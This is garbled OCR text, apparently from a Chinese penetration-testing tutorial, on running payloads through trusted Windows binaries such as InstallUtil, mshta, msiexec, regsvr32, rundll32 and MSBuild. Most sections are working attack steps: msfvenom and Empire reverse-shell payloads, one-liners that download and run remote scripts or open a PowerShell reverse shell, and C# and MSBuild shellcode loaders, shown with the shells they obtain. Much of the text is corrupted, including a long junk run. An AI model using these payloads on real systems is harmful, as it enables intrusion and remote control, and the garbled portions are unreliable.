1,,scrobj.dll,2,60,https://gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092
58cbb3f7d302/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2a66/Backdoor—Mi

nimalist.sct



> InfDefaultInstall. e

Windows &85

%ﬂ Windows [FiE=# FFIRE:

Powershell Execute

PowerShell Execution

» PowerShell:>

10.InstallUtil

SLIOFFE: KA ¢ Kali (10.100.18.20)  #IXEAL : Windows?

(10.100.18.21) T Aithtit:
https://github.com/khrOx40sh/WhiteListEvasion.git 5l F: 4B sc B E &
python InstallUtil.py ——csfile temp.cs ——exefile temp.exe ——payload
windows/meterpreter/reverse_https ——lhost 172.16.8.246 ——Iport 443 SLEYjE
T AR T #EISXE \csc.exe pentestlab.cs




W7 SIS \InstallUtil.exe /logfile= /logtoconsole=false /u

pentestlab.exe

msfix&

timslti/handler

A IH3REN session



¥XEX shell



meterpreter > shell

Process 2528 created.

Channel 2

Microsoft Windows [.1.7601)

(c) 2009 Microsoft Corporation
c:\Windows\Microsoft.NET\Framework\v4.9.303]
whoami

win-2hbaiu/caSe\anonymous

\Windows\Microsoft.NET\Framework\v4.9.30319>ipconfiq
onfig

Windows IP

Bluetooth

satap.{A1E9A9C6~-3307-42AF-B9FF~-15F7075BD7F2}:
M

satap.{39EGAF50-011E-4B3A-A478-5(CB9588D5710}:

yW3 NS

c:\Windows\Microsoft.NET\Framework\v4.9o

11.MSHTA
TiE: Kali: 10.100.19.19 Win7 : 20.100.0.25
WiEHFE: 1. 7 kali L/E5) Empire t1EZEEHI

listeners
uselistener http
set Host http://10.100.19.19



set Port 8080

execute

(Empire: listeners) > uselistener http

(Empire: listeners/http) > set Host http://10.100.19.19
(Empire: listeners/http) > set Port 8080

(Empire: listeners/http) > set Name mshta

(Empire: listeners/http) > execute

[*] Starting listener 'mshta’

* Serving Flask app "http" (lazy loading)

* Environment: production

WARNING: Do not use the development server in a production environment.

Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!

(Empire: listeners/http) > listeners

[*] Active listeners:

Name Module Host

mshta http http://10.100.19.19:8080

(Empire: listeners) >

Delay/Jitter KillDate

5/0.0



> useListener P
) > set Host http://10.100.19.19
> set Port 8080
p) > set Name mshta
ners/http) > execute
[*] Starting listener 'mshta’
* Serving Flask app "http" (lazy loading)
* Environment: production

Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!
(Empire: listeners/http) > listeners

[*] Active listeners:

Name Module Host Delay/Jitter KillDate

mshta ttp://10.100.19.19:8080 5/0.0

(Empire: listeners) >

2. Empire &R hta {4

usestager windows/hta

set Listener http

set OutFile /root/Desktop/1.hta

execute

Python Ff/5 web BRs5, ZENNIT

cd /root/Desktop/

python3 —m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Win7 147
mshta.exe http://10.100.19.19:80/1.htalpayload ¥ 0FaSiH OF T & AiE OREER—1]

Empire BIHKEIZE4 shell



(Empire: stager/windows/hta) > set OutFile /root/Desktop/l.hta
(Empire: stager/windows/hta) > execute

[*] Stager output written out to: /root/Desktop/l.hta

(Empire: stager/windows/hta) > [*] Sending POWERSHELL stager (stage 1) to 10.1600.m mm
[*] New agent K2ASZR8V checked in

[+] Initial agent K2ASZRSV from 1~ @°~ &% fé mm medk’mo (Slack)

[*] Sending agent (stage 2) to K. ® . s

(Empire: stager/windows/hta) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process

Last Seen

RI2MSFTU g BBl  IN-9BBKHIORBQG  *WIN-9BBKH1ORBQG\Admini powershell 7120
K2ASZRAV 5 2. roe e = ADMIN-PC-WIN7 *ADMIN-PC-WIN7\admin  powershell 1984
2019-03-26 10:06:23

(Empire: agents) > |}

12.MSlexec

MR Kali: 10.100.19.19 Win7 : 10.100.0.25

KEFE: 1. BE msfvenom A BX payload msfvenom —a x86 —f msi —p
windows/exec CMD=calc.exe —o calc.png

ali IS msfvenom -f msi -p windows/exec CMD=calc.exe > calc.png
[- 1 No platform was selected, choosing Msf::Module::Platform: :Windows from the payload
[-]1 No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 193 bytes
Flnal size of ms1 file: 159744 bytes

B EE B web fRE523 python —m SimpleHTTPServer 80

$ (& Foerver so
Serv1ng HTTP on 0.0.0.0 port 80

3. EAMITEN ETHXEE, 1 msiexec i&1T payload msiexec /q /i
http://10.100.19.19/calc.png



B BIER: C:\Windows\system32\cmd.exe |-G S

:\Windows\lTasks>msiexec /q /i http://10.180.19.1%9/calc.png

:\Windows\lTasks2>

Win7 I AIN

-76011 .
Corporation. {RES AF .

:\Windows\Tasks\msxs1

C:Users\Admninistratored c:\Windows\Tasks\ . HE
E#EWV

iRiE ) ALRHOD
c : \Windows\Tasks>diw
Hﬁ%n Ef VALE ¢
= 74EA-4658

%)
»:\Windows\Tasks H' T
c indow a H E,), M ‘ MR‘ s ‘ - o ‘
2089/07/14 13:86 {DIR> -
2009/07/14 13:06 <DIR> . ‘—‘ CE‘ < I g ‘ : ‘
2009/087/714 13:86 2,928 SCHEDLGU .TXT
L AXH 2,920 T 7| 8] o] /] ]
p T 76.197.400.576 0]JFHFET
| E 3 4 = Ei ol 4 ‘ S ‘ 6 | * ‘ 1/1‘
ic - \Windows\Tasks>mnsiexec /q 7i http://710.180.19.1%/calc .png 1 J - ‘ 3 ‘ ‘
2 -
ic : \Windows\Tasks> -
o | .| +]




Win2008 S LIN

xec fq /1 http://10. 100, 19, 19/calc. png

=
i+ EEE -

Z=(V) $=|(E) EEIH)

Win2016 £IRIN

13.Pcalua

FiE:  Kali: 10.100.19.19 Win7 : 10.100.0.25
WEFE:

C:\windows\system32\pcalua.exe —a C:\file.Ink
C:\windows\system32\pcalua.exe —a notepad.exe

C:\windows\system32\pcalua.exe —a \\server\payload.dll (At 17izFzEA] payloa
d)



:\Windows\System32>pcalua.exe —a notepad.exe

:\Windows\8ystem32>

FA7E - SOHE =
THE REE BRO) BEV WG
I

p/\C/\a/\Il\u/\a/\ /\_/\nl\ /\_l\a/\a/\/\a/\aI\a/\a/\a/\a/\a/\a/\a/\a/\/\al\a/\a/\a/\a/\a/\a/\a/\a/\a/\/\a/\a/\a
/\a/\aAa/\a/\a
/\a/\a/\/\a/\a/\a/\a/\a/\aI\a/\a/\a/\a/\/\a/\a/\a/\a/\a/\a/\a/\aI\a/\a/\/\a/\a/\a/\a/\a/\a/\al\a/\a/\a/\/\a/\a/\
a*a*a™a’a
/\a/\aAa/\Aa/\a/\a/\a/\a/\a/\a/\a/\a/\a/\/\a/\a/\a/\a/\a/\a/\a/\a/\a/\aA/\aAa/\a/\a/\a/\a/\a/\a/\a/\a/\Aa/\
a“a*a*a”a
/\a/\aAa/\a/\/\a/\a/\a/\a/\a/\a/\a/\a/\a/\aA/\a/\a/\a/\a/\a/\a/\a/\a/\aAa/\Aa/\a/\a/\a/\a/\a/\a/\a/\a/\a/\/\
a“a*a*a”a
/\a/\aAa/\a/\aA/\a/\a/\a/\a/\a/\a/\a/\a/\aAa/\/\a/\a/\a/\a/\a/\a/\a/\aAa/\a/\/\a/\a/\a/\a/\a/\a/\a/\a/\a/\a
/\/\a/\a/\a/\a
/\al\a/\a/\a/\a/\a/\/\a/\aI\a/\a/\a/\a/\al\a/\a/\a/\/\a/\a/\a/\al\a/\a/\a/\a/\a/\a/\/\a/\a/\al\a/\al\a/\a/\a/\a
/\a/\/\a/\aAa
/\al\a/\a/\a/\a/\a/\a/\/\al\a/\a/\a/\a/\al\a/\a/\a/\a/\/\a/\a/\aI\a/\a/\a/\a/\a/\a/\a/\/\a/\al\a/\al\a/\a/\a/\a
/\a/\aA/\aAa
/\al\a/\a/\a/\a/\a/\a/\a/\I\a/\a/\a/\a/\nl\a/\n/\a/\n/\a/\n/\a/\n/\aI\n/\a/\n/\a/\n/\a/\n/\a/\n/\a/\n/\a/\n/\
al\n/\a/\n/\a/\
nl\a/\nl\a/\n/\a/\n/\a/\n/\a/\n/\a/\n/\a/\nl\a/\nl\a/\n/\a/\a/\a/\a/\a/\a/\a/\a/\a/\a/\/\a/\a/\a/\a/\a/\a/\a
/\a/\n/\a/\n/\a
/\n/\aAn/\a/\nAa/\n/\a/\n/\a/\n/\a/\n/\a/\n/\aAn/\a/\nAa/\n/\a/\n/\a/\n/\a/\n/\a/\n/\aAn/\a/\n/\a/\n/\a
/\n/\a/\n/\a/\n
/\a/\nAa/\n/\aAn/\a/\n/\a/\n/\a/\n/\a/\n/\a/\nAa/\n/\aAn/\a/\n/\a/\n/\a/\n/\a/\n/\a/\nAa/\n/\aAn/\a/\n
/\a/\n/\a/\n/\a

*n*a*n*a*n“a*n*a*n*a*n“a*n*a*n*a*n*a*n*a*n*a*n*a*n*a*n*a*n*a*n*a*n*a*n"a



/\n/\aAn/\a/\n

*a*n*a*n”*a*n*a*n*a*n*a*n*a*n*a*n*a*n*a*n*a*n*a*n”*a*n*a*n”*a”*n notepad.exe

i - ioEE = O
P SERE) BRI EJEV) REH)

Q_-procexpnq. EXe - Ld, £18 B a0, 118 R LaZad aFSINTErNAals rrncesat
— | ond exe .02 2,140 K 3,100 K 14632 Windows MSHERERE
- S o B 14404 32 A TR B

Py

o OO -
=
—_

|notepad. exe i29 1,960 K 6,584 K| 12784 1254

~ I e B T TR TR e B A o B S, T SN

14.Regsvcs/Regasm (.NET [R&EZE T EMEFEENTR)

IFE: Kali: 10.100.19.19 Win7 : 10.100.0.25
REFE:
1.{£/ powershell &1 H key.snk

PS D:\> $key = 'BWIAAAAKAABSUOEYAAQAAAEAAQBhXtvkSeHB5E31z64cAX+X2PLB6KDzKvBL1TYN2TKKjXEoWulXNIiBpelsSJyulCplrCTPGGSxPGIhT3rpZ9tbLZUefrFnLN
iHfVjNi53Yg4='

PS D:\> $Content = [System.Convert]::FromBase64String($key)

PS D:\> Set-Content key.snk —Value $Content —Encoding Byte

Pg C: \Ulndoua\ﬂlcnoaoft NET \Framework64\w4.08.30319> Skey = 'BulﬂﬂﬂﬂkﬁﬂBSUGEyﬂﬂQ'
AAEAAQBhEtukSeH85E31264cAX +X2PUGc6DHP?VaoD13C1jtYau?SesUzKULJdHphYS5ppgSc IHI GaL?
EbpbqukLHB1LEq/vW2792GUzUAgSZaGUCFpukb6ply69cSr3ST1z1jJr¥Y76J]1 jeS4+RhhdWHp?? y8QhuR
0CBquWxZaf fHS2te/PKzl iTuFfcP46gxQoLR8s3QZhAJBnn?2TGJkbix8MTgEt7hD1DC2hXv7?dKaC5s
L ZWgGEB540nuvFbD5P2t +u yu ZuHNmA y3 pXBBDE quEf 0 ZZ+hil k1YUDSNOE??zun pUP1 +BNBPKS5QCPCS
zujfR1QpJ+nfHLLicweJ?uT?0G3g/P+JpRGNB/+Hito luf o?Uc jh+WuwZAlU//dzrGnyS5stQtTmLxdhZ
DsNDJpsgnzwEUE LS +080hujBHDm/ZQA361mUs SUWrngDPKHGGRx +7FbhdgpBEgq3m15 /4zz9343U9NBut
qZU+TSUPUBwRvkWiZRer jmDde hJ I boWsx4U8aiWxBFPPngEmNz89tBAQ8zhI »JFfmt¥Yn j1f FmkNu3 14
10efcacyYEHPR /tqcBuBlg/cpcDHps /68GCCc iX3tufnEeDMAQjmLku8X4zHc gJdx6 FpUK7ge Euv yUB0(
vNor?bh/UWKQHIH jkzG+z6nWHMoMYUSUMT ZB jLM5 aZQ6 ypunFZaNmt LOKDzKuB8L1YN2TKKjXEoWul¥N1
Bpe 1sSJyul CplrCTPGGES xPGihT3rpZ9tbLZUef rFnLNiHfVU jNi53Yg4="

PS C:\Windows\Microsoft.NET\Framework64 \w4.08.38319> $Content = [System.Convert]
:FromBaseb64String(Skey)

PS C:\Windows\Microsoft . NET\Framework6t4 \w4.08.30319> Set—Content key.snk —Ualue
ontent —Encoding Byte

PS C:\Windows“\Microsoft.NET\Framework64 \w4.8.38319> dir ifindstr "key.snk"

a—— 2019/3/26 10:37 596 key.snk

PS C:\Windows\Microsoft . NET\Frameworkt4\w4.8.30319>

2. MsfVenom 4R C#kREY ShellCode, &%l ShellCode Bll— XA

regsvcs.cs

msfvenom —a x86 —platform Windows —p windows/meterpreter/reverse_tcp LHOST
=10.100.19.19 LPORT=4444 —f csharp
I[limagel(./images/7AF3D6434406451FB84F9676ED26B6C.png)

using System;

using System.EnterpriseServices;

using System.Runtime.InteropServices;

/*

Author: Casey Smith, Twitter: @subTee

License: BSD 3-Clause

Create Your Strong Name Key —> key.snk

$key = 'BWIAAAAKAABSUOEYAAQAAAEAAQBhXtvkSeHB5E31z64cAX+X2PWGc6DHP
9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL 7nZbp6qukLHOILEQ/vW979GWzV



AgSZaGVCFpuk6p1ly69cSr3STIzljrY76JljeS4+RhbdWHp99y8QhwRIIOCOqu/WxZaff
HS2te/PKzliTuFfcP46gxQoLR8s3QZhAJBNNITGJkbix8MTgEt7hD1DC2hXv7dKaC531
ZWqGXB540nuvFbD5P2t+vyvZuHNmAy3pXOBDXqWEfoZZ+hilk1YUDSNOE79zwnpV
P1+BNOPK5QCPCS+6zujfRIQpJ+nfHLLicweJ9uT70G3g/P+JpXGNO/+Hitolufo7Ucjh
+WVZAU//dzrGny5stQt TmLxdhZbOsNDJpsqnzwEUfL5+080hujBHDmM/ZQ0361mVsS
VWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343VONBwt1+qZU+TSVPUOWRVKWIZRerj
mDdehJIboWsx4V8aiWx8FPPNgEmMNz89tBAQ8zblrJFfmtYnj1fFmkNu3IglOefcacyYEH
PX/tqcBuBlg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7geEuvyVO
OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKyv
8LTYN2TKKjXEoWuIXNIiBpelsSJyulCplrCTPGGSxPGihT3rpZ9tbL ZUefrFnL NiHfV|Ni5
3Yg4='

$Content = [System.Convert]::FromBase64String($key)

Set-Content key.snk —Value $Content —~Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseSe
rvices.dll /target:library /out:regsves.dll /keyfile:key.snk regsvcs.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll

[OR]

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll
//Executes UnRegisterClass If you don't have permissions
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll
//This calls the UnregisterClass Method

*/

namespace regsvcser

{

public class Bypass : ServicedComponent

{
public Bypass() { Console.WriteLine("l am a basic COM Object"); }

[ComRegisterFunction] //This executes if registration is successful

public static void RegisterClass ( string key )



Console.WriteLine("l shouldn't really execute");
Shellcode.Exec();

[ComUnregisterFunction] //This executes if registration fails
public static void UnRegisterClass ( string key )
{
Console.WriteLine("l shouldn't really execute either.");
Shellcode.Exec();

public class Shellcode

public static void Exec()
{
// native function's compiled code
// generated with metasploit
// executes calc.exe
byte[] shellcode = new byte[341] {
Oxfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0¢,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
Oxac,0x3c,0x61,0x7¢,0x02,0x2¢c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,



0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0x0a,0x64,0x13,0x13,
0x68,0x02,0x00,0x11,0x5¢,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,
0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xab,
0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,
0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,
0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xeb,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,
0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,
0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,
0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,
0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };

UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);

IntPtr hThread = IntPtr.Zero;

UInt32 threadld = O;

// prepare data

IntPtr pinfo = IntPtr.Zero;

// execute native code

hThread = CreateThread(0, O, funcAddr, pinfo, O, ref threadid);
WaitForSingleObject(hThread, OxFFFFFFFF);

return;



private static UInt32 MEM_COMMIT = 0x1000;

private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

[Dllimport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 IpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[Dlllmport("kernel32")]

private static extern IntPtr CreateThread(

UInt32 IpThreadAttributes,
UInt32 dwStackSize,
UInt32 IpStartAddress,
IntPtr param,

UInt32 dwCreationFlags,
ref UInt32 IpThreadld

[Dllimport("kernel32")]
private static extern UInt32 WaitForSingleObject(

IntPtr hHandle,
UInt32 dwMiilliseconds

);



3. msfiZE

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
set LHOST 10.100.19.19

set LHOST 4444

exploit —j
4. HELNET 1B22E12 7 — TR ATE cmd FIE1THY VC#

miEeaH BRI AAERGRERY DLL X%, key.snk XFRTBARRIS AR DLL fEZE A,
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseSe

rvices.dll /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll

e

$%18 Meterpreter 21&

15.regsvr32

5 Kali: 10.100.19.19 Win7 : 10.100.0.25



WEFiE: TEME: https://github.com/Hood3dRob1n/JSRat-Py.git

git clone https://github.com/Hood3dRobln/JSRat-Py.qit

remote: Enumerating objects: 35, done.
remote: Total 35 (delta ©), reused © (delta 0), pack-reused 35
EAX &+ : 100% (35/35), TRl

1. 7£ kali 31T JSRat.PY python JSRat.py —i 10.100.19.19 —p 3333

[*] Web Server Started on Port: 3333
[*] Awaiting Client Connection to:
[*] rundl132 invocation: http://16.100.19.19:3333/connect
[*] regsvr32 invocation: http://10.100.19.19:3333/file.sct
[*] Client Command at: http://10.100.19.19:3333/wtf
[*] Browser Hook Set at: http://10.100.19.19:3323/hook

[-] Hit CTRL+C to Stop the Server at any time...

2. SENHITHES regsvr32.exe /u /n /s /i:http://10.100.19.19:3333/file.sct
scrobj.dll

i \Userssadmin.admin—-PClregsvr32.exe 7u /n /s Zi:http:/710.100.19.19:3333/Ffile.s
t scrobj.dll

:\UsersSadmin.admnin—-PC>_

3.kali B INIREVZZE A shell



JSRat Server - Python Implementation
By: Hood3dRobln

[*] web Server Started on Port: =mm
[*] Awaiting Client Connection ™=
[*] rundll32 invocation: htf, ==g= == 133/connect
[*] regsvr32 invocation: htlgy o s = 33/file.sct
[*] Client Command at: http:/, - w33 /wtf
[*] Browser Hook Set at: http:/ m = 3333/hook

[-] Hit CTRL+C to Stop the Server at mmm _me...

[*] Incoming JSRat regsvr32 Invoked Cliemt: 10.100.19.94

[*] User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.06; .NET CLR 2
.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CIR 3.0.30729; Media Center PC 6.9; InfoPath.3; .NET4.8C; .NET4
.8E)

JSRat Usage Options:

(MD => Executes Provided Command
run => Run EXE or Script
read => Read File
upload => Upload File
download => Download File
delete => Delete File
help => Help Menu
exit => Exit Shell

$(JSRat)> 1pconfig

Windows IP ECE
ELKMEACE AEhE:

EEANEN NS FE :
A IPv6 Mk : Ml mmm  wmo0:2788%11

EEEN NS FE
RN 6T04 Adapter:

s(ISRat)> ]




A rinEs = Fem x|
XHE WRE WEV RGO SWA @S BiEY FHW TRM et

WG RE Qes=TIEEaaam
[ip. addr==10. 100 and http 3 v| Fikl- |+
Ko Time Source Desting’ Protocol Length Info
[ n - = HTTP 398 GET /file.sct HTTP/1.1
] L L | ] | " EE N HTTP 1514 Continuation
- | ] - [ | HTTP 1514 Continuation
] m | N | HTTP 1514 Continuation
e - - HTTP 1321 Continuation
- - -mae s e . HTTP 208 GET /rat HTTP/1.1
& riems Ml Wireshark - 55 HTTP [ (tcp.stream eq 8) - S1REN o ==
" ¥ t HTTP/L.1
- r E n: Keep-Alive
Mo oure (compatible; Win32; WinHttp.WinHttpReguest.5)
20,48 mE LN ]
lam L] -
’m [ ]
- Windaw
| I u
- u I NN |G itesre e rannis searnsestnsned
L =
1193 56.920398 | | ] 19 | 12788
1104 56.920529 -—a o w am 19
1165 56.920721 18, svw. 19, C
ter
Frame 1698: 937 bytes on wire (7496 bits), 937 bytes capturel TPUR siaiae o a2 T | ]
Ethernet II, Src: Vmware_Ba:55:ed4 (89:50:56:8a:55:e4), Dst:
Internet Protocol Yersion i 20,100,0.25, Dst: 10.100.1
Transmission Control Protocol, Src Port: 3096, Dst Port: 33 tissssssensesss Teredo Tunneling Pseudo-Interface:

16.Rundli32

E: AL Kali (10.100.18.20) #XEE4: Windows 2012 R2
(10.100.18.22) &% Python2.7 (S&EE py XHFTEIAK exe 18N AT IARR)

Wk

rundl32 AllTheThings.dll,EntryPoint

rundll32 javascript:"\..\mshtml,RunHTMLApplication";0=GetObject("script:http://rev
erse—tcp.xyz/payload.sct");window.close();

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20
ActiveXObject("WScript.Shell").Run("powershell —nop —exec bypass —c IEX (New-O

bject Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratas

hok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');invoke—PowerShellTcp —Rev
erse —IPAddress 10.100.18.20 —Port 3333;"



rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%Z20Active
XObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%
20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseTe
xt;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /i

m rundll32.exe",0,true);}

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%Z20Active
XObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

Process Create:

UtcTime: 2018-03-14 22:41:13.301

ProcessGuid: {f2096b%4-a509-5aa%-0000-00102ea%8c00}
Processid: 464

Image: C:\Windows\SysWOWB4\mshta.exe

FileVersion: 11.00.16299.15 (WinBuild.160101.0800)

Description: Microsoft (R) HTML Application host

Product: Internet Explorer

Company: Microsoft Corporation

CommandLine: "C\Windows\SysWOW64\mshta.exe" "C:\Tools\calc.hta"
CurrentDirectory: C:\Tools\

User: DESKTOP-R988GG0O\subTee

LogonGuid: {f2096b94-4325-5aa%-0000-002071f30400}

Logonld: 0x4F971

TerminalSessionld: 1

IntegrityLevel: Medium

Hashes: SHA1=370939D685B834D68ADE&3BB6S7D100ASC28ECOERD
ParentProcessGuid: {f2096b%94-a509-5aa%-0000-0010b59f8c00}
ParentProcessld: 5860

Parentimage: C:\Windows\System32\rundll32.exe
ParentCommandLine: rundli32.exe url.dll,OpenURL "C\Tools\calc.hta"




crisers\Adninistratordod Desktop

SiNllsers \Adninistrator\Desktopirundl1132 .exe javascript:'s..“nshtml.dl]l.RunNTHLAp

slication ""jeval{“wenewx2@ct iveXObject {\"WScript.Shell ") iw.rund\"¢

.Close()*");

sislzerz AdninistratorsDezsktop? FHY) WilE B

17.Scripting(Ji4<$147)

1.vbs

IFE: EAL: Kali (10.100.18.20) #IEAL: Windows 2012 R2
(10.100.18.22) %% Python2.7 (SLEE py XHFTEIAK exe B8N ATARR) K
HFE: vbs &R vbs (K15



JMzers \Admninistrator?cd Desktop

Misers\AdninistratorsDesktop? . Slauncher . vhs

tNlzers AdninistratorsDesktop?

Bat 4 i bat #t4bEST (4



BinENRAT

CrNlszsers \Adninistrator

C:slsers \Administratos

Empire BXII3KEX agent

sed Desktop

“Desktop>. . slauncher bat




2.jscript

https://gist.github.com/homjxiOe/0d683007bd4a3ce39d3e19342aaab8ec

sembly]::LoadWithPartialName(

icrosoft.Het\assembly\GAC_MSIL\Microsof

icrosoft.1Script.Eval]::JScriptEvaluate(

Untitled - Notepad

File Edit Formast View Help

[

18.SyncAppvPublishingServer
®iE: Kali: 10.100.19.19 Win10 : 10.100.0.200
WEHFIE:

msfvenom —p windows/x64/meterpreter/reverse_tcp LHOST=10.100.19.19 LPORT=4
444 —f psh-reflection >4444.ps1

2. SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString('
http://10.100.19.19/4444.ps1');4444.ps1 | IEX"



powershell —windowstyle hidden —exec bypass —c "IEX (New-Object Net.WebClient).
DownloadString('http://10.100.19.19/4444.ps1');4444.ps1"

REWAKIN
19.Trusted Developer Utilities ({HE{EHiK T XH LR)

IFE: Kali: 10.100.19.19 Win7 : 10.100.0.25

WHFiA: THAMhE: MSBuild https://github.com/3gstudent/msbuild-

inline—task.git

1. {E8 Msfvenom 4 i shellcode, &\ execb64.xml X{4H

msfvenom —p windows/x64/meterpreter/reverse_tcp Ihost=10.100.19.19 Iport=4444

—f csharp

<Project ToolsVersion="4.0" xmlIns="http://schemas.microsoft.com/developer/msb
uild/2003">
<!—— This inline task executes x64 shellcode. ——>
<l—— C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe SimpleTa
sks.csproj ——>
<!-— Save This File And Execute The Above Command ——>
<l—— Author: Casey Smith, Twitter: @subTee ——>
<!—- License: BSD 3-Clause ——>
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Buil
d.Tasks.v4.0.dll" >

<Task>



<Code Type="Class" Language="cs">
<I[CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[Dllimport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 IpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[Dllimport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 IpThreadAttributes,
UInt32 dwStackSize,
UInt32 IpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 IpThreadld
);
[Dllimport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
bytel] shellcode = new byte[510] {
0Oxfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,



0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7¢c,0x02,0x2¢c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
